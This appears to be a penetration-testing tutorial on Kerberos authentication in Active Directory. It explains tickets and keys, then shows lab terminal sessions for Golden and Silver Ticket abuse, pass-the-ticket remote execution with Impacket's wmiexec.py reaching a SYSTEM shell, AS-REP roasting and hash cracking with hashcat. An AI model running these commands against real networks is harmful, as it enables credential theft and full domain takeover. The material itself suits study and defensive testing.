Key Distribution Center or krbtgt key: which is derivated from the Windows service account krbtgt NTLM hash. User key: which is derivated from user NTLM hash. Service key: which is derivated from the NTLM hash of service owner, which can be an user or computer account. Session key: which is negotiated between the user and Key Distribution Center. Service session key: to be use between user and service.
Ticket Granting Service: Encrypted Ticket that a user can use to authenticate with a service. This key is encrypted with the service key
Ticket Granting Ticket: Ticket that is presented to the Key Distribution Center to get a Encrypted Ticket. This ticket is encrypted with the Key Distribution Center key.
KRB_AS_REQ: Used to request the TGT to KDC. KRB_AS_REP: Used to deliver the TGT by KDC. KRB_TGT_REQ: Used to request the TGS to KDC, using the TGT. KRB_TGT_REP: Used to deliver the TGS by KDC. KRB_AP_REQ: Used to authenticate a user against a service, using the TGS. KRB_AP_REP: (Optional) Used by service to identify itself against the user. KRB_ERROR: Message to communicate error conditions. KERB_VERIFY_PAC_REQUEST: message to send to KDC the signature of PAC, and verify if it is correct.
sequenceDiagram
User ->> KDC (DC) : KRB_AS_REQ
KDC (DC) ->> User : KRB_AS_REP
User ->> KDC (DC) : KRB_TGT_REQ
KDC (DC) ->> User : KRB_TGT_REP
User ->> AP : KRB_AP_REQ
AP ->> KDC (DC) : KRB_VERIFY_PAC_REQ
KDC (DC) ->> AP : KRB_VERIFY_PAC_REP
AP ->> User : KRB_AP_REP (Optional)
After receiving the request, the KDC verifies the user identity by decrypting the timestamp. If the message is correct, then it must respond with a KRB_AS_REP.
KRB_AS_REP Contains:
Username
TGT
Username
Session key
Expiration date of TGT
PAC with user privileges, signed by KDC
Encrypted Data with user key
Session key
Expiration date of TGT
User nonce, to prevent replay attacks
Once finished, user already has the TGT, which can be used to request TGSs, and afterwards access to the services.
To finish, if everything went well, the user already has a valid TGS to interact with service. In order to use it, user must send to the AP a KRB_AP_REQ message.
KRB_AP_REQ includes:
TGS
Data Encrypted with service session key:
Username
Timestamp, to avoid replay attacks
If the User has the correct user privileges they can access the service. The AP can verify the PAC against the KDC but this is not usually done.
root@kali:impacket-examples# export KRB5CCNAME=/root/impacket-examples/velociraptor.ccacheroot@kali:impacket-examples# python wmiexec.py jurassic.park/[email protected] -k -no-passImpacket v0.9.18 - Copyright 2018 SecureAuth Corporation[*] Requesting shares on labwws02.jurassic.park.....[*] Found writable share ADMIN$[*] Uploading file yuiQeOUk.exe[*] Opening SVCManager on labwws02.jurassic.park.....[*] Creating service sBGq on labwws02.jurassic.park.....[*] Starting service sBGq.....[!] Press help for extra shell commandsMicrosoft Windows [Version 6.1.7601]Copyright (c) 2009 Microsoft Corporation. All rights reserved.C:\Windows\system32>whoamint authority\systemC:\Windows\system32>
First you need to get the NTLM hash of krbtgt account. Once this is done a ticket can be created for a custom user with maximum permissions. This is still valid if that user changes his or her password. (Ticket Granting Ticket)
root@kali:impacket-examples# export KRB5CCNAME=/root/impacket-examples/stegosaurus.ccacheroot@kali:impacket-examples# python wmiexec.py jurassic.park/[email protected] -k -no-passImpacket v0.9.18 - Copyright 2018 SecureAuth Corporation[*] Requesting shares on lab-wdc02.jurassic.park.....[*] Found writable share ADMIN$[*] Uploading file goPntOCB.exe[*] Opening SVCManager on lab-wdc02.jurassic.park.....[*] Creating service DMmI on lab-wdc02.jurassic.park.....[*] Starting service DMmI.....[!] Press help for extra shell commandsMicrosoft Windows [Version 6.3.9600](c) 2013 Microsoft Corporation. All rights reserved.C:\Windows\system32>whoamint authority\systemC:\Windows\system32>
Silver Ticket is very similar but is used against a single service using a Ticket Granting Service. This means its full access but only to a specific service.
root@kali:impacket-examples# export KRB5CCNAME=/root/impacket-examples/stegosaurus.ccache root@kali:impacket-examples# python wmiexec.py jurassic.park/[email protected] -k -no-passImpacket v0.9.18 - Copyright 2018 SecureAuth Corporation[*] Requesting shares on labwws02.jurassic.park.....[*] Found writable share ADMIN$[*] Uploading file JhRQHMnu.exe[*] Opening SVCManager on labwws02.jurassic.park.....[*] Creating service Drvl on labwws02.jurassic.park.....[*] Starting service Drvl.....[!] Press help for extra shell commandsMicrosoft Windows [Version 6.1.7601]Copyright (c) 2009 Microsoft Corporation. All rights reserved.C:\Windows\system32>whoamint authority\systemC:\Windows\system32>
A Ticket Granting Service is encrypted with key derived from the NTLM hash of the service owners account.
Depending on the service different service owners will be attributed to different users. Checking to makes sure that those keys are not derived from a easily crackable password.
Using a valid user and password request Kerberost Hashes:
If the DONT_REQ_PREAUTH is set in a users account an attacker can make a KRB_AS_REQ to the server as that user without knowing its password. When receiving the KRB_AS_REP the information will be encrypted with the users key that is derivated from the NTML hash of the user. This can be used to crack the users password.
Test Usernames for Non-preauth:
root@kali:impacket-examples# python GetNPUsers.py jurassic.park/ -usersfile usernames.txt -format hashcat -outputfile hashes.asreproastImpacket v0.9.18 - Copyright 2018 SecureAuth Corporation[-] User trex doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User triceratops doesn't have UF_DONT_REQUIRE_PREAUTH set[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
root@kali:impacket-examples# cat hashes.asreproast $krb5asrep$23$velociraptor@JURASSIC.PARK:7c2e70d3d46b4794b9549bba5c6b728e$599da4e9b7823dbc8432c188c0cf14151df3530601ad57ee0bc2730e0f10d3f1552b3552cee9431cf3f1b119d099d3cead7ea38bc29d5d83074035a2e1d7de5fa17c9925c75aac2717f49baae54958ec289301a1c23ca2ec1c5b5be4a495215d42e9cbb2feb8b7f58fb28151ac6ecb0684c27f14ecc35835aecc3eec1ec3056d831dd518f35103fd970f6d082da0ebaf51775afa8777f783898a1fa2cea7493767024ab3688ec4fe00e3d08a7fb20a32c2abf8bdf66c9c42f49576ae9671400be01b6156b4677be4c79d807ba61f4703d9acda0e66befc5b442660ac638983680ffa3ada7eacabad0841c9aee586
Cracking the Hash:
root@kali:impacket-examples# hashcat -m 18200 --force -a 0 hashes.asreproast passwords_kerb.txt